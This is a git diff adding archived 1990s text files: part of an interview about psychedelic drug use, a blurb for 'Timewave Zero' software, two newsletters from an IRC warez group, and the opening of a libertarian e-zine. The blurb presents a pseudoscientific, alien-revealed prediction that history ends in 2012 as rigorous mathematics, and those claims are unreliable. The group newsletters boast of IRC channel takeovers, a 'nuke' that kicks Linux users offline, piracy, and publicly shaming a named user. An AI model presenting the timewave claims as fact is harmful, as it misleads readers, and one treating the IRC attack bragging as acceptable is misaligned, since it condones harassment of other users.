Tibetan monastery at Lumbini in Nepal. + +Q4. As a software developer and computer consultant, have you always +been freelance, or did you ever work for large corporations? I am +also curious about the nature of the "three C function libraries" and +the data encryption software package. + +A4. I learned to program in FORTRAN IV in 1965, while working for a +year with the Post Office in Melbourne. I did no programming during +the 70s. In the early 80s I was a freelance software developer in +California, and developed software for the Apple // which was +published. Since then I have sometimes been employed at small or +medium-sized corporations and sometimes have been a freelance +consultant or developer. In the mid-80s I got into MS-DOS software +development and during the last five years I have programmed mainly in C. + +In late 1989 I found myself in California, having just returned from +18 months in Europe, and was broke. The idea of getting a job and +being a wage-slave for the rest of my life did not appeal to me. +Instead I resolved to develop and publish software for a living. I +managed to eke out a a bare existence while developing software on +others' PCs, and during 1989-92 I created four C function libraries +(these are tools useful to C programmers) and three application +programs: a Maya calendrical conversion program, Timewave Zero +(illustrating Terence McKenna's theory of time and history) and some +data encryption software. The last incorporates an encryption method +which I developed during 1990-92. + +Q5. What are "Psychedelic Monographs and Essays" and the "Yearbook of +Ethnomedicine and Consciousness Research"? Who puts them out? What +is their audience? Their content? + +A5. "Psychedelic Monographs and Essays" (published by Thomas Lyttle, +first issued in 1985) evolved from the "Psychozoic Press" (published +by Elvin D. Smith, first issued in 1982). Both were/are collections +of essays and informative material dealing with all aspects of +psychedelics and psychoactive plants and fungi, with occasional +articles about psychedelic researchers and their work. The latest +volume of Psychedelic Monographs and Essays is #6, and has articles +classified under the headings of Spirituality, Psychotherapy, +Literature, Parapsychology and Pharmacology. It is available from +PM&E Publishing, P.O. Box 4465, Boynton Beach, FL 33424, for $20.00 +postpaid within the U.S., $27.00 outside the U.S. + +The "Yearbook of Ethnomedicine and Consciousness Research" is similar. +It is edited by the German anthropologist Dr. Christian Raetsch and +contains some articles in English and some in German. The first +volume was published in late 1992. It is available from the publisher, +Amand Aglaster, VWB, Postfach 11 03 68, 1000 Berlin 61, Germany. + +Q6. How did you get into psychedelic research? DMT research? + +A6. My initial awareness of the existence of psychedelics came from +reading Aldous Huxley's "Doors of Perception" in 1966. I knew +immediately that this was a field of research I wished to explore. My +opportunity came a few months later when an artist friend in Melbourne +informed me that some LSD had shown up. It was probably synthesized +locally, and was quite impure, but blew me away. Life has never been +the same since. + +I know of nothing more interesting and worthy of study than the +multitude of conscious states available through the use of psychedelics. +Had psychedelic research not been made illegal (this is itself a crime +against humanity) I would presumably have pursued my biochemical/- +psychological/philosophical studies under the auspices of academia. +Instead I abandoned the academic world for the study of Tibetan +Buddhism in India and later got into software development in the U.S. +and in Europe. But I have never ceased to do psychedelics occasionally, +and sometimes frequently, garnering such information and understanding +as I can under the circumstances. + +A couple of years after I began doing acid I discovered the delights +of marijuana and hashish, which subject I researched enthusiastically +in Asia beginning in 1971 (when the hash shops in Kathmandu were still +open and legal, before they were closed down at the insistence of the +U.S. Government). Morning glory seeds in 1974. In 1978 I discovered +psilocybin mushrooms at Palenque in Mexico. In 1983 MDMA in Berkeley. +In 1987 DMT in Hawaii. In 1988 Ketamine in Switzerland. In 1990 +5-MeO-DMT in Berkeley. + +My interest in DMT arose from hearing Terence McKenna speak of it in +some of his taped talks (especially his "Tryptamine Hallucinogens and +Consciousness"). My first experience with it was pretty strange; on +my second I thought I was dying. My initial encounter on DMT with the +alien entities did not come until two years later. As Terence has +said, and which I can confirm, the DMT experience is the weirdest +thing you can experience this side of the grave. The rational mind +retreats in utter disbelief when confronted with it. Thus I resolved +to research the topic, which I did during 1990-91 in Berkeley, where I +had access to the Biosciences Library at U.C. Berkeley. I gathered +reports from those few people I knew who had smoked it, and the +article which resulted appeared simultaneously in each of the journals +mentioned above. + + - the blurb for Timewave Zero - + +This software illustrates Terence McKenna's theory of time, +history and the end of history as first described in the book +"The Invisible Landscape" by him and his brother Dennis, and more +recently in his "The Archaic Revival" (HarperSanFrancisco, 1992) +The theory of Timewave Zero was revealed to Terence by an alien +intelligence following a bizarre, quasi-psychedelic experiment +conducted in the Amazon jungle in Colombia in 1971. Inspired by +this influence Terence was instructed in certain transformations +of numbers derived from the King Wen sequence of I Ching hexagrams. +This led eventually to a rigorous mathematical description of +what Terence calls the timewave, which correlates time and +history with the ebb and flow of novelty, which is intrinsic to +the structure of time and hence of the temporal universe. A +peculiarity of this correlation is that at a certain point a +singularity is reached which is the end of history - or at least +is a transition to a supra-historical order in which our ordinary +conceptions of our world will be radically transformed. The +best current estimate for the date of this point is December 21, +2012 CE, the winter solstice of that year and also the end of the +current era in the Maya calendar. + +The primary function of the software is to display any portion of +the timewave (up to seven billion years) as a graph of the +timewave related to the Western calendar (either Gregorian or +Julian). You can display the wave for the entire 4.5-billion-year +history of the Earth, note the peculiarities of the wave at such +points as the time of the extinction of the dinosaurs (65 million +years ago) and inspect parts of the wave as small as 92 minutes. +The software provides several ways of manipulating the wave display, +including the ability to zoom in on a target date or to step back +to get the larger picture. + +A remarkable quality of the timewave is that it is a fractal. +Once a part of the wave is displayed the software allows you to +expand any smaller part (down to 92 minutes). This usually +reveals a complexity of structure which persists however much the +wave is magnified, a property typical of fractals. The idea that +time has a fractal structure (in contrast to the Newtonian +conception of time as pure, unstructured duration) is a major +departure from the common view of the nature of time and physical +reality. That time is a fractal may be the reason why fractals +occur in Nature. + +The documentation describes the origin, construction and +philosophical significance of the timewave, the use of the +software, the mathematical definition of the timewave (with +proofs of some related mathematical theorems) and certain curious +numerical properties. + +An interesting part of the theory is the assertion of historical +periods "in resonance" with each other. Resonantly we have (in +1993) emerged from the fall of the Roman empire and are well into +the transitional period known historically as the Dark Ages. The +software permits graphical display of different regions of the +timewave that are in resonance with each other. This allows the +period 1945 - 2012 to be interpreted as a resonance of the period +2293 BC - 2012 CE. New in this version is the ability to graph +trigrammatic resonances in addition to the major resonances, and +to construct a sequential set of eleven trigrammatic resonances. +There is a new appendix concerning some recent mathematical results. + +The Timewave Zero software at last permits a scientific examination +of Terence's long-standing claim to have discovered the root cause +of the ups and downs of historical vicissitude. If his theory is +confirmed then we can look forward to a rough, but very interesting, +ride in the twenty years leading up to the climactic end-point of +history in 2012. During this time the events of the period from +745 CE are expected to recur (albeit in modern form). + +Timewave Zero 4.12 requires MS-DOS (2.10 or later) and runs on +IBM PC compatibles with and without a graphics adaptor. + + - a final note - + +Timewave Zero is currently published by Fringeware Inc., P. O. Box 49921, +Austin, TX 78765, USA, and should also be available from Sound +Photosynthesis in Mill Valley, CA and from Nightbloomers in Berkeley, CA; +or from AO Corporation, 134 Granada Dr, Corte Madera, CA 94925. + +Fringeware has a mailing list: +fringeware-request@wixer.cactus.org diff --git a/textfiles.com/magazines/MISC/itt0206.nfo b/textfiles.com/magazines/MISC/itt0206.nfo new file mode 100644 index 00000000..137ae987 --- /dev/null +++ b/textfiles.com/magazines/MISC/itt0206.nfo @@ -0,0 +1,88 @@ +Week Ending Monday, February 6, 1995 + +:.:.::...::..:::..::.::..::..::::::...::::..:::.::...:::..::..:::..::..::...:: + + I T T +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + INTERNET TAKEOVER TEAM +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Seniors/Founders + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Phearless Leader: eL_diabLo + Script Kingpin: Wicked Angel + 'Leetest Butt: Hermit + The Chronicler: Astinus +~~~~~~~~~~~~~~~~~~~~~~:::::::::::::::::::::::::::::::~~~~~~~~~~~~~~~~~~~~~~~~~ + Members + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Man With The Code: Zircon + Man With The Emm-Cee-Bee: DuSt + Man With The Warez: JuICe + Man With The Big Bust: iCePiK + Man With No Nook: Shaft + + ::..We have no others ..:: + ::..So umm ... contact..:: + ::..Any senior above ..:: + ::..To see if you have..:: + ::..What it takes!! :)..:: +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + ---NFO done Feb. 5, 1995 @ 12:19pm EST + ---Wicked Angel + (c)1995 CSI/ITT + + ---NFO changed Feb 5, 1995 @ 1:19pm CST + - DuSt was added as a member. + - I (Astinus) have taken over + - maintenance of the userlist + ---Astinus [WRATH] + + ---NFO changed Feb 5, 1995 @ 8:42pm CST + - Juice was added as a member. + ---Astinus [WRATH] + + ---NFO changed Feb 5, 1995 @ 10:19pm CST + - iCePiK was added as a member. + ---Astinus [WRATH] + + ---NFO changed Feb 5, 1995 @ 10:27pm CST + - Shaft was added as a member. + ---Astinus [WRATH] + + ---NFO changed Feb 6, 1995 @ 11:44am CST + - Format was changed. + ---Astinus [WRATH] + + + +This Week's Quotes 'n News 'n Stuph + +Hermit: "Wuff." +WAngel: "Astinus said 'blabf'" +Astinus: "Ribbit." +DuSt: "WAngel: TAKE sucks!" + + +On a lighter note, WAngel released a new improved version TAKE.IRC. +Astinus is still continuing his work on WRATH, including the now famous +WRATHBot. +Hermit is still proclaiming the 'leetness of his butt. +eL_diabLo is currently taking over #warez5 and #warez6, out of sheer boredom. +Zircon has just recently released his latest evyl creation upon the world. +DuSt has just discovered the wonders of mcb. +JuICe has recently disappeared, but have no phear, for he shall be found.. +iCePiK is currently running around incognito, nick killing lamers left and +right. +Shaft is busy making #warez, #warez3, and #null his home. + +Apparently, there has been a split in the warez world. ZillionZ has lost +a few members, which left to form a rival group, PaTW. PaTW is a collection +of former ZillionZ, Genesis, and Razor personnel. It is lead by ScRaTcH. + +What else is new.. umm.. well.. nothing. Wanna buy a watch? + + +Ribbit. +Astinus [WRATH] \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/itt0213.nfo b/textfiles.com/magazines/MISC/itt0213.nfo new file mode 100644 index 00000000..b0233c7f --- /dev/null +++ b/textfiles.com/magazines/MISC/itt0213.nfo @@ -0,0 +1,134 @@ +Week Ending Monday, February 13, 1995 [WEEKLY] + +:.:.::...::..:::..::.::..::..::::::...::::..:::.::...:::..::..:::..::..::...:: + + I T T +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + INTERNET TAKEOVER TEAM +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Seniors/Founders + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Phearless Leader: eL_diabLo + Backup Phearless Leader: Warl0ck + Script Kingpin: Wicked Angel + 'Leetest Butt: Hermit + The Chronicler: Astinus + Fuxing Megasplitter: onethumb +~~~~~~~~~~~~~~~~~~~~~~::::::::::::::::::::::::::::::::~~~~~~~~~~~~~~~~~~~~~~~~ + Members + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + Man With The Code: Zircon + Man With The Emm-Cee-Bee: DuSt + Man With The Warez: JuICe + Man With The Big Bust: iCePiK + Man With No Nook: Shaft + Man With No Pee Pee Pee: Mal_2 + Man With The Cardz: LoTBD + Man SaRGoN + ::..We have no others ..:: + ::..So umm ... contact..:: + ::..Any senior above ..:: + ::..To see if you have..:: + ::..What it takes!! :)..:: +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + ---NFO changed Feb 7, 1995 @ 08:27pm CST + - New Members were added: + -Mal_2 + -LoTBD + -onethumb + - Fixed GLARING ommision of Warl0ck as + Founder. + ---Astinus [WRATH] + + ---NFO changed Feb 8, 1995 @ 10:57pm CST + - Fixed dumb date error. Doh! + - Updated News. + - Added SaRGoN to membership list. + ---Astinus [WRATH] + + ---NFO changed Feb 11, 1995 @12:25pm CST + -Updated all kinda happy stuph. + ---Astinus [WRATH] + + This Week's Quotes 'n News 'n Stuph +-=-=-=-=-=-=-=--=-=-=-=-=-=-=--=-=-=-=-=-=-=--=-=-=-=-=-=-=--=-=-=-=-=-=-=- + +Warl0ck: "Hi, I'm Warl0ck, don't fuq with me." +eL_diabLo: "Yes yes yall its itt yall." +Hermit: "Hugs are good, drugs are bad." +Astinus: "The Official ITT Bong!" +Mal_2: "We need a WWW Home Page." +Hermit: "so, yesterday, i beat the shit out of him with my official itt + fists." +WAngel: "tibbir." +Ripjack: "Sweaty Breasts." +Shaft: "rittib." + + +News: The Big News? fC are back from their self-imposed exile. You know +what that means: we'll finally have some QUALITY warez instead of lame-o +QUANTITY warez. + +Other news? Well. We REALLY can't stand it when ppl we don't know keep on +asking us "Can I join ITT?" ITT is a very exclusive group, committed to +excellence in destruction. You must meet/exceed high criteria to join. To +join, 2 (two) founders and/or seniors must vouch for you. If this happens, +then the seniors are asked if they have any exception/objection to your +joining. If they do have an objection, then a discussion will ensue. If +you pass the seniors' scrutinous eye, then your case goes before the founders. +The founders have the power to veto the descision, thus, they have the last +word. + +Anything else? Umm. This week marked the passing of Hermit's cat. To +mourn this loss to ITT, all members of ITT typed in black characters. +"Lucky" was put to sleep, to end the suffering. As Hermit delicately put it, +"he got cat-cancer." + + /---------\ + | Lucky | + | 1 9 8 6 | + | t o | + | 1 9 9 5 | + | Rest In | + | Peace | + ----------- +Lucky, the official ITT cat, dead at age 9. + +Though this has been a very sad week for ITT, there have also been some +highlights. We Have brought our Backup Phearless Leader (Warl0ck) out of +Cryogenic Storage. We now have 2 (two) leaders to bow to and live in phear +of. Welcome back Warl0ck. + +Astinus' WRATHNite proved itself worthy when it was able to singlehandedly +take #warez back. Progress on the bot and the script is slow, but +proceeding well. Date of release of all of Astinus' WRATH scripts is unknown +but phear not, it shall (hopefully) be soon. WRATH will be released as an +ITT product. It will include, with Fiend's permission, Fiend's Killide +(v2.8 or whatever else we can find), Astinus' OPCollider, Astinus' Opper, +Astinus' WRATHNite (tm), and the general WRATHScript itself. + +More news stuph: CoolBlue has found a way to kick anyone running linux outta +irc. An unstoppable nuke. A VERY useful trick. + +We welcome onethumb, Mal_2, LoTBD, and SaRGoN to the fold. All very worthy +(and QUITE lethal) additions. + +The Official ITT Lamer of the Week Award Goes To: "bushland@jolt.mpx.com.au +(Edward Hodgson)" has been making an ass of himself lately. Claims he can +take over any channel whenever he wants to, and likes to play with #warez. +I suggest we all add him our ABK's and then just ignore the lamer. +Hell, ban his whole provider too. + +Miscellany: -Do we want a channel to call home, or are our usual haunts + all that we need? I suggest we deal with this soon. + -The ever protective SLOTHBots have reached v1.9i. Good job + Asudem. Now if only i could find those dirs.... + -I've stopped adding ppl to the membership list until + ITT0213.NFO is released. Does everyone agree to the + criteria needed to join ITT? + + +Ribbit. +Astinus [WRATH] \ No newline at end of file diff --git a/textfiles.com/magazines/MISC/kaos01.txt b/textfiles.com/magazines/MISC/kaos01.txt new file mode 100644 index 00000000..984240bb --- /dev/null +++ b/textfiles.com/magazines/MISC/kaos01.txt @@ -0,0 +1,1579 @@ + + + + + &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& + && && + && && + && THE CHAOS ADVOCATE && + && && + && An Electronic Journal Advocating && + && Personal Freedom In All Things && + && && + && && + &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& + + + *-------------------------------------------------------------* + | THE CHAOS ADVOCATE is copyrighted by Mack Tanner. You | + | may review and read sections of this electronic publication | + | to determine whether or not you would like to read the | + | entire work. If you decide to read the entire magazine, or | + | if you keep a copy of the magazine for your own personal use| + | or review for more than two days must pay a SHARELIT fee by | + | mailing $2.00 to | + | | + | Mack Tanner | + | 1234 Nearing Rd. | + | Moscow, ID 83843 | + | | + | If you want a receipt, include a self-addressed and | + | stamped envelope. | + *-------------------------------------------------------------* + +PAGE 2 + + + + TABLE OF CONTENTS + + + + Letters to the Editor........................page 3 + Editor's Page ...............................page 4 + Chaos and Social Engineering.................page 6 + The Common Good and the Voter's Paradox......page 10 + Bad Citizens and Freedom.....................page 18 + Getting All You Want.........................page 23 + Wanted: A Few Good Writers...................page 28 + + +PAGE 3 + + *---------------------------* + | LETTERS TO THE EDITOR | + *---------------------------* + + Obviously, as this is the premier issue of THE CHAOS ADVOCATE, we +don't have any letters-to-the-editor to publish. We hope that we will +have some to publish with the next issue. Letters to the editor +should be sent to one of the following E-mail addresses and marked as +letters to the editor of THE CHAOS ADVOCATE. + + Compuserve: 72037,2673 + Delphi: MACKTANNER + The Rational Life Bulletin Board + 615-433-7869 + Fidonet node number 1:116/38 + Internet: Mack.Tanner@f38.n116.z1.fidonet.org + + Letter writers must identify themselves with their real identity +and include a telephone number or an E-mail address which will permit +us to verify identity. We will, however, publish letters anonymously +at the request of the author. + +PAGE 4 + + + *--------------------* + | THE EDITOR'S PAGE | + *--------------------* + + Freedom is the natural state of every creature. No human being, +no law, no constitution can give another human freedom. It can't be +granted, it can only be taken away. + + Freedom is not necessarily beautiful nor comfortable. It is never +predictable and always chaotic. A free life can be dangerous, +unstable, and sometimes violent, but always unpredictable. + + A lot of people don't like freedom very much. It scares them. +They want a predictable world in which they can trust that things will +always turn out just the way they want them to turn out. They delude +themselves into thinking that humans can create a world in which there +will be no anger, sorrow, hunger, sickness, violence, or hurt. Why +wait for heaven when they can create heaven here on earth? + + But to create that wonderful, mythical world, they must first +force everyone to obey a long list of rules, laws, regulations, +morals, and ethics, all designed to insure that no one will do +anything that might upset the harmony and predictability of the world +they want to live in. + + The kind of world they want isn't possible if humans remain free. +So while they are writing their morals, ethics, and laws, they also +write out a new definition of freedom. They tell us that to be free +we must be free from want, from pain, from fear, from hunger, and even +sickness. They call the slave a free man because the slave master +promises to provide for every need. + + The priests, politicians, and teachers tell us that we are free +individuals while they feed us myths designed to make comfortable, +well-fed slaves think they are free. The tragedy is that the kind of +world they want also isn't possible if people are not free. So, while +they take freedom away, the brave new world they promise never +appears. + + No one owns your life but you. The only way you can be happy is +by making the choices you want to make about what you do with your +mind and your body. + + Because we live in a highly complex society, neither you nor I +are every going to be able to do *everything* we want to do. Life is +a constant bargain in which we give up some things we might like to +have, so that we can have other things we want even more. + + The atomic basis of a happy, healthy society is the voluntary +exchange. I give someone my time and my work for eight hours a day +and he or she gives me money so I can make other voluntary exchanges +to buy my bread, drink, shelter, and entertainment. But the exchange +must be voluntary, not dictated by some priest or politician. If you +are free, you get to choose what it is that you give up in order to +get what you want to make you happy. + + We are sick of listening to people telling us how our + +PAGE 5 + +institutions of church, government, school, and medicine are going to +make us happy. We think it's time we started talking again about how +we can each maximize our own freedom in our own daily life. + + We think it's time to advocate freedom now. That's why we have +started this journal and why we are distributing it through the +electronic media. We're going to take a tough minded, no nonsense +approach to freedom with no compromises. We expect to make a lot of +people mad at us. A lot of people don't want to be free. + + Because they don't want to be free themselves, they don't want +you or me to be free. We think it's time we started telling those +people where they can go. + + We want to talk about freedom on both the philosophical level, +and on the very practical level. How does one help his children +survive the compulsory public education system? How do you protect +your privacy from spying police thugs? How do you avoid troubles with +the child welfare authorities? What legal ways can you avoid taxes, +and how do people get away with illegal tax cheating? + + We intend to challenge the very limits on the first amendments. +No subject will be taboo or forbidden, as long as it is directly +related to the concept of individual freedom. We don't want to go to +jail, so we won't advocate that anyone break any law, but we will +describe how other people have broken the law in pursuit of personal +freedom, and sometimes, how they got away with it. We will respect +the copyright laws. Anything that appears in this journal will be the +original work of the author and computer encoded with his permission, +and we do understand the difference between free speech and libel. + + But with those caveats we will advocate the chaos of freedom. +Welcome to CHAOS. We are the organization that Max Smart was out to +stop. + +*-------------------------------------------------------------* +| THE CHAOS ADVOCATE is copyrighted by Mack Tanner. You | +| may review and read sections of this electronic publication | +| to determine whether or not you would like to read the | +| entire work. If you decide to read the entire magazine, or | +| if you keep a copy of the magazine for your own personal use| +| or review for more than two days must pay a SHARELIT fee by | +| mailing $2.00 to | +| | +| Mack Tanner | +| 1234 Nearing Rd. | +| Moscow, ID 83843 | +| | +| If you want a receipt, include a self-addressed and | +| stamped envelope. | +*-------------------------------------------------------------* + +PAGE 6 + + + + + *--------------------------------* + | CHAOS AND SOCIAL ENGINEERING | + | | + | by | + | Mack Tanner | + *--------------------------------* + +"Law of the Perversity of Nature: You cannot successfully determine +beforehand which side of the bread to butter." --Anonymous + + Most of you have probably heard the story about the clever young +man who offers to go to work for a businessman on a try-out basis in +which the young man will be paid only one cent on the first day, two +cents for the second day, four cent on the third day, and so on, the +salary doubling each day until the businessman decides whether or not +he wants to hire the young man on a permanent basis. + Thinking he's getting a good deal, the businessman takes on the +kid and a month slips by before the businessman decides he won't keep +the young man on. When the young man presents the bill for his wages +for thirty days, the businessman discovers it's cheaper to sign over +the company than paying the wages. + The businessman has just learned the truth of compound interest. +By doubling a single cent thirty times, you end up with $5,368,709.12 +on the last doubling. The business man owes the young man over 10 +million dollars for the thirty days of work. + While this common mathematical principle has long been +understood, it's only been in recent years that scientists have +examined and explored what impact compounding small sums can have on +what are called chaotic systems. + A chaotic system is any dynamic physical, biological, or +mathematical system in which a complicated set of data interact in +non-linear and non-repetitive way. (Anyone interested in a more +technical explanation of chaos theory should check out a library book +on the subject.) + Until recently, the philosophy of determinism was the basis +for much of scientific thought and direction. The concept was that if +we only knew the equations and had the precise data, the future +could be predicted. This concept is best summarized in Laplace's +famous statement: + + "An intellect which at any given moment knew all the + forces that animate Nature and the mutual positions of + the beings that comprise it, if this intellect were vast + enough to submit its data to analysis, could condense + into a single formula the movement of the greatest + bodies of the universe and that of the lightest atom: + for such an intellect nothing could be uncertain; and + the future just like the past would be present before + its eyes." Pierre Simon de Laplace, 1749-1827 + + Chaos theory now shows how naive and ridiculous this +statement is. What scientists have come to understand in only +the last few years is that in all chaotic systems, very small +variations in input data can have a profound impact on the future +development of the system. The more the variables at the + +PAGE 7 + +initiation of the system, the greater the difficulty in +predicting what impact tiny increases or decrease in a single +variable will have on the progress of the system. In a perverse +sort of way, the longer term the prediction attempted, the +greater and more accurate the amount of initial data that is +required to make the prediction. As the thousands, or millions +of different variables act upon each other, no human, nor human +manufactured computing machine can predict what the smallest +change to any single variable will do to the future of the +system. + The most commonly cited example of a chaotic system is the +weather. Other chaotic systems include hydraulic turbulence, +biological species interaction, epidemiology, and all human societies +and economies. + Understanding chaos theory explains why scientists have such a +difficult time predicting the weather more than twenty-four hour in +advance and why they now realize that they will never be able to make +trustworthy long-term weather predictions. It is simply impossible to +collect the in-put data in the quantity and with the degree of +accuracy necessary to make a credible long term prediction. (Of +course, the government will never admit this is good reason to stop +spending billions trying to do so!) + Understanding chaos theory also explains why it will be +impossible for humans to ever control the weather to produce a desired +result with no danger of unexpected and undesirable results. Cloud +seeding may make it rain over a dry Iowa corn field, but the impact of +that intervention might result in an hurricane destroying a coastal +city in Florida six months, or six years in the future. + Given the complexity of the non-linear equations in describing +weather patterns, no scientist will ever be able to prove that it was +the cloud seeding that caused the hurricane, nor, for that matter, +that the cloud seeding didn't contribute to the hurricane's +development. + Humans can impact on or redirect a chaotic system, but we can not +prove or disprove exactly how the human intervention impacted on the +system over the long term. We will know we changed the system, but we +can never know how we changed the system, nor what the system would +have done if we had changed nothing. + All human societies and all human economic systems are chaotic +systems. They develop and progress as a result of an incredible +amount of input in which any single individual may do something that +will have an unexpected and unpredictable multiplier impact on how the +system will operate at some future point in time. + Chaos theory explains why social engineering can never produce +the expected result and why such schemes will always produce +unintended results. Chaos theory also explains why neither the social +engineers nor the critics of social engineering can ever prove what +real impact an attempt at social engineering actually had on the +economy and the society. + We have been listening to a lot of political debate about what +caused the riots in Los Angeles. The conservatives blame the +deteriorating situation of the city on social programs of the Great +Society, welfare dependency, government regulation, minimum wages +laws, high taxes, and moral decline while the liberals blame the +failure of the government to spend enough money, racism, police +brutality, illegal immigration, and the entire American corporate +cultural. + The entire debate is total bullshit! + There is absolutely no way anyone can scientifically establish +what things might have been done differently that could have prevented +the deterioration of our cities into the current social morass. +Furthermore, there is no way anyone can scientifically demonstrate + +PAGE 8 + +what new proposals for social engineering will produce intended and +only intended future results. + The entire political debate over the domestic agenda that goes on +in connection with the current presidential election is also total +bullshit! + Nobody can explain scientifically exactly what caused the recent +recession nor place with any scientific certainty the blame on any set +of government actions. And nobody can predict what impact all of the +different proposed economic solutions will actually have on the future +world economic situation. + Yet every politician is demanding that we spend a trillion +dollars on programs that they can't demonstrate will work and they +won't ever to be able to prove that they did work once they are in +place. + The national economy and its interrelation with the world economy +is a chaotic system even more complex, unpredictable, and unmanageable +than the world weather and climate patterns. Any politician who +claims he can control it for the benefit of everyone without damaging +large groups of other people is either a fool, or a crook, or more +likely both. + The government can do lots of things that will have short term +impact on the economy. Political leaders can lower interest rates, +shift investment opportunities, legislate prices, regulate exchanges, +and all those things will alter the economic future of the economy. +But chaos theory explains why we can not predict what the long term +result of such action will be and why the unintended results may well +be much more disastrous than the original problem could have ever +become if left alone and free of government intervention. + All of this is scientific fact that can be described by +observation of prior events, the examination of mathematical formulas +and demonstrated with computer modeling. + But don't expect any political candidate, office holder, member +of congress, bureaucrat, or scientist working on a fat government +contract to admit the truth of this. For them to do so would be for +them to admit that the American federal budget is being wasted on +social engineering projects with no guarantees that they will work or +that they won't produce disasters. + Chaos theory not only explains why economic central planning +can't work, it also explains why government bureaucracy grows so fast. + Because political leaders and the bureaucrats refuse to recognize +that what they are trying to do can't be done, they work under the +delusion that they only thing preventing ultimate success is more and +better data. They excuse their repeated failures by insisting they +didn't have enough data, *which is right*, but they refuse to +understand that no matter how much data they collect, it will never be +enough to allow them to predict and control what the economy is going +to do. + Instead, they collect and quantify increasingly greater amounts +of data as the cost escalates much like the salary of the boy who +stated out at a penny for the first day's work. The more information +they collect, the more difficult the task of correlating, +interpreting, and analyzing the information they have. They hire ever +larger numbers of people who can be put to the task of collecting and +handling the information. + When things go wrong, the excuse is always a failure in +intelligence and the proposed solution is to hire more people and +gather more raw data. The more things go wrong, the more money they +spend trying to fix it. A fascinating conclusion of chaos theory is +that you cannot predict the result of the fix, even if you try to put +everything back exactly like it was! When we used DDT to kill the + +PAGE 9 + +bugs and found out that it did more harm than good - in unexpected +ways - the decision to quit using DDT may have resulted in greater +damage than would have been the result of continuing its use. + + But if the government can't control the economy for the benefit +of all, what is the government doing? + + Our politician leaders and the bureaucrats they hire play exactly +the same role in the modern secular state that pagan priests and +shamans played in ancient civilizations. Except, where ancient pagan +priests and shamans promised to magically control the weather, stop +the earthquakes, and curse the enemy with disease and pestilence, +these modern wizards and magicians promise us that everyone will have +a good job, decent medical care, and a useful education while avoiding +drugs, unwanted pregnancies, and crime in the streets. + Fortunately for us all, the weather generally does treat human +populations pretty well, and despite the bungled attempts of +government interference, millions of free people, all looking out for +their own selfish interest, usually succeed in creating a chaotic, but +healthy economy that provides most of us with all the good things of +life and a few of us the chance to get rich. + Like their ancient counterparts always claimed credit for spring +rains, sunny weather, and good harvests, the modern political wizards +and magicians claim credit for the successful economy and insist that +the taxpayers contribute even more money to guarantee continued +success in the future. They are taking credit for things they didn't +do and charging us high prices for not doing it. + The amount they take for themselves and for those whom they +decide to bless with entitlement programs continues to grow. Most of +us are working five full months a year for the sole purpose of feeding +our monstrous and useless government beast. And still the wizards are +telling us they need more money. + They will keep demanding more money for as long as the taxpayer +will pay it. The debt will grow like the wages owed the clever young +man until it reaches the point where the whole government system will +collapse under the weight of it's own debt. + But don't worry. Just like the good weather stuck around for +long after humans gave up on paying pagan priests to guarantee good +harvests, the basic economy, the sum total of all human interactions +and economic exchanges, will still be around long after the collapse +of big government. + + *-------------------------------------------------------------* + | THE CHAOS ADVOCATE is copyrighted by Mack Tanner. You | + | may review and read sections of this electronic publication | + | to determine whether or not you would like to read the | + | entire work. If you decide to read the entire magazine, or | + | if you keep a copy of the magazine for your own personal use| + | or review for more than two days must pay a SHARELIT fee by | + | mailing $2.00 to | + | | + | Mack Tanner | + | 1234 Nearing Rd. | + | Moscow, ID 83843 | + | | + | If you want a receipt, include a self-addressed and | + | stamped envelope. | + *-------------------------------------------------------------* + +PAGE 10 + + + + *----------------------------------------------* + | THE COMMON GOOD AND THE VOTER'S PARADOX | + | | + | by | + | Leon Felkins | + *----------------------------------------------* + +"If voting could change anything, it would be illegal." +--Graffiti + + How many times has someone told you that everyone would be happy, +healthy and content *if only* people would forget their selfish +desires and work for the common good? By serving the common good, +don't we also serve our own enlightened self interests because the +common good guarantees the maximum benefit for every individual? +Wasn't the *me* generation a tragic mistake? Isn't it time we +returned to the ideal that each individual puts the community +interests above his own selfish interest? + + Does working for the common good give a person greater benefits +than working for one's own selfish behavior? + + If the answer is *yes*, then we should to be able to demonstrate +that an individual sacrifice has a real effect on the common good. If +my single, personal sacrifice can alter the final result, then I can +say that my sacrifice produces more in rewards than my personal costs. +But if my sacrifice makes no difference to the final result, why +should I make it, especially if I receive the benefits of the +sacrifice of others even if I make no personal sacrifice? + + The truth is that an individual sacrifice for the common good +never produces a personal reward equal to the cost of the sacrifice. +Let's look at some examples to demonstrate what we are talking about. + + Almost everyone will agree that voting is an important civil +duty. Moreover, it's a duty that requires little personal sacrifice +in our society. For most of us, it takes no more than a few minutes +of time. Polling places are easy to find, almost always near the +place where we live, registration is simple, the process is painless +and most of us have pretty definite opinions about whom we want to +elect. So how come only about half the eligible voters actually get +to the polls? + + Let's say that on election day you find yourself 150 miles away +from home on a two day meeting. (The meeting was scheduled after the +final date for requesting an absentee ballot.) Your have a choice: +you could do your duty, drive home, vote and drive back. Or, you could +just forget the whole thing. + + Most likely you will chose the option of forgetting about it-- +this time. Your reasoning is sound. The cost for you to vote is +substantial while the return is, for all practical purposes, zero. +Why is that so? Because your vote will not actually make a difference +in the results of the election! While you may have other reasons for +voting or not voting, as far as 